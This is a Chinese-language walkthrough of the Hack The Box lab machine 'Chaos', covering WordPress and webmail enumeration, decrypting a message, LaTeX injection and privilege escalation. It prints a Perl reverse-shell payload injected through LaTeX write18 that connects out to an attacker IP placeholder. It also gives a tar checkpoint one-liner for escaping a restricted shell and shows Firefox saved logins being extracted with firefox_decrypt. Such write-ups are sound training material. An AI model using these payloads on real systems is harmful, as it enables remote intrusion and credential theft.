【HTB系列】靶机Chaos的渗透测试详解

本文作者:是大方子(Ms08067实验室核心成员)

知识点:

1. 通过域名或者IP可能会得到网站的不同响应

2. Wpscan的扫描wordpress

3. 修改hosts来对网页邮件系统webmail进行访问

4. LaTax反弹shell

5. 通过tar来进行限制shell的绕过并修复shell的PATH

6. 用firefox_decrypt提取火狐的用户凭证缓存

介绍

Kali: 10.10.12.87

靶机地址:10.10.10.120

先用Nmap来进行探测

root@kali:~/HTB# nmap -sV -T5 -sC 10.10.10.120 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 13:18 CSTNmap scan report for 10.10.10.120Host is up (0.21s latency).Not shown: 994 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.34 ((Ubuntu))|_http-server-header: Apache/2.4.34 (Ubuntu)|_http-title: Site doesn't have a title (text/html).110/tcp open pop3 Dovecot pop3d|_pop3-capabilities: STLS UIDL TOP SASL RESP-CODES CAPA AUTH-RESP-CODE PIPELINING| ssl-cert: Subject: commonName=chaos| Subject Alternative Name: DNS:chaos| Not valid before: 2018-10-28T10:01:49|_Not valid after: 2028-10-25T10:01:49|_ssl-date: TLS randomness does not represent time143/tcp open imap Dovecot imapd (Ubuntu)|_imap-capabilities: STARTTLS ENABLE LITERAL+ OK IMAP4rev1 SASL-IR LOGINDISABLEDA0001 have post-login listed ID IDLE LOGIN-REFERRALS capabilities more Pre-login| ssl-cert: Subject: commonName=chaos| Subject Alternative Name: DNS:chaos| Not valid before: 2018-10-28T10:01:49|_Not valid after: 2028-10-25T10:01:49|_ssl-date: TLS randomness does not represent time993/tcp open ssl/imap Dovecot imapd (Ubuntu)|_imap-capabilities: ENABLE LITERAL+ OK AUTH=PLAINA0001 SASL-IR capabilities have post-login listed ID IDLE LOGIN-REFERRALS IMAP4rev1 more Pre-login| ssl-cert: Subject: commonName=chaos| Subject Alternative Name: DNS:chaos| Not valid before: 2018-10-28T10:01:49|_Not valid after: 2028-10-25T10:01:49|_ssl-date: TLS randomness does not represent time995/tcp open ssl/pop3 Dovecot pop3d|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN) RESP-CODES CAPA USER PIPELINING| ssl-cert: Subject: commonName=chaos| Subject Alternative Name: DNS:chaos| Not valid before: 2018-10-28T10:01:49|_Not valid after: 2028-10-25T10:01:49|_ssl-date: TLS randomness does not represent time10000/tcp open http MiniServ 1.890 (Webmin httpd)|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 58.63 seconds

靶机上运行这http服,pop3 imap 以及它们对应的ssl加密后的服务,还有一个就是监听在1000的MiniServ

我们看下80端口

80端口:

发现靶机是不允许直接使用IP进行访问的,那么我们修改下/etc/hosts文件

再次访问

这里我们用gobuster爆破下目录,为了结果的准确我把IP类型的地址和域名类型的地址都扫描了一遍

出现的结果不同,但是都是一个问题就是网站目录可直接访问,在IP的扫描结果中我们发现了wp(wordpress),这里我们只能用IP去访问用域名去访问是没有的

那么我们就用wpscan去扫描下,这里用tee命令在输出结果到终端的同时也把结果输出到文件中去。

这里扫描出了2条有用的信息,这里有个用户名字叫human

我们尝试把human当成密码输入到刚刚页面那篇的加密文章,发现是正确的并且我们得到了webmail的帐户和密码

Creds for webmail :username – ayushpassword – jiujitsu

我们是有看到靶机是运行这邮件系统的,我们用这个尝试去登陆,我们再再hosts中增加webmai.chaos.htb的记录

然后输入webmail.chaos.htb进行登陆

然后我们在草稿箱中发现了这个

一个是加密后的信息,一个是加密的脚本文件,邮件也说了“你就是密码”,所以我们可以先拿sahay当作密码进行尝试破解

以下是加密的脚本文件

def encrypt(key, filename): chunksize = 64*1024 outputFile = "en" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV =Random.new().read(16) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, 'rb') as infile: with open(outputFile, 'wb') as outfile: outfile.write(filesize.encode('utf-8')) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest()

根据加密脚本写出对应的解密脚本

from Crypto.Hash import SHA256from Crypto.Cipher import AESimport Crypto.Cipher.AESfrom binascii import hexlify, unhexlify def encrypt(key, filename): chunksize = 64*1024 outputFile = "en" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV =Random.new().read(16) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, 'rb') as infile: with open(outputFile, 'wb') as outfile: outfile.write(filesize.encode('utf-8')) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest() if __name__=="__main__": chunksize = 64*1024 mkey = getKey("sahay") mIV = (b"0000000000000234") decipher = AES.new(mkey,AES.MODE_CBC,mIV) with open("enim_msg.txt", 'rb') as infile: chunk = infile.read(chunksize) plaintext = decipher.decrypt(chunk) print plaintext

执行解密脚本得到Base64加密后的结果:

这里前面的16为IV向量要去除,然后通过base64解码

echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d

得到一个连接http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

LaTax常用于文档排版的,具体可以百度下!

输入文本并选择好模板后可以生成PDF,可以在

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/

看到生成好的PDF!

关于LaTax的攻击可以参考这篇文章:

https://0day.work/hacking-with-latex/

我们使用下面的exp反弹shell

\immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

监听制定端口并执行EXP

在得到shell后,我们用python建立一个稳定的shell

切换到Home目录发现这2个目录都没有权限

我们试下之前的mail的帐户密码,看看能不能切换到ayush

username – ayush

password – jiujitsu

切换成功但是,ayush处于受限的shell中

这里我们看到我们的PATH是ayush/.app,我们只能用这3个命令

对于限制shell的绕过,可以参考这个:

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

那么我们用tar 进行绕过!

这里我们先切换回www-data,因为www-data的shell是正常的,然我们切换到/tmp目录下并创建rick并进行压缩

然后在切换到ayush

然后先进行绕过!

tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash

再修复下PATH

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

然后得到user flag

然后我们发现用户的目录下又.mozilla的文件里面有个firefox,用ls-la查看大小发现都大于firefox的默认大小,怀疑里面是有用户的凭证的

使用firefox_decrypt提取缓存凭据,项目地址: https://github.com/unode/firefox_decrypt

然后把项目下载到靶机中去!

然后对提取脚本加执行权限,并进行解密,提示需要输入主密钥我们同样输入jiujitsu,发现密码也是正确的!

切换到root得到root flag!!

本文分享自微信公众号 - Ms08067安全实验室(Ms08067_com)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-30

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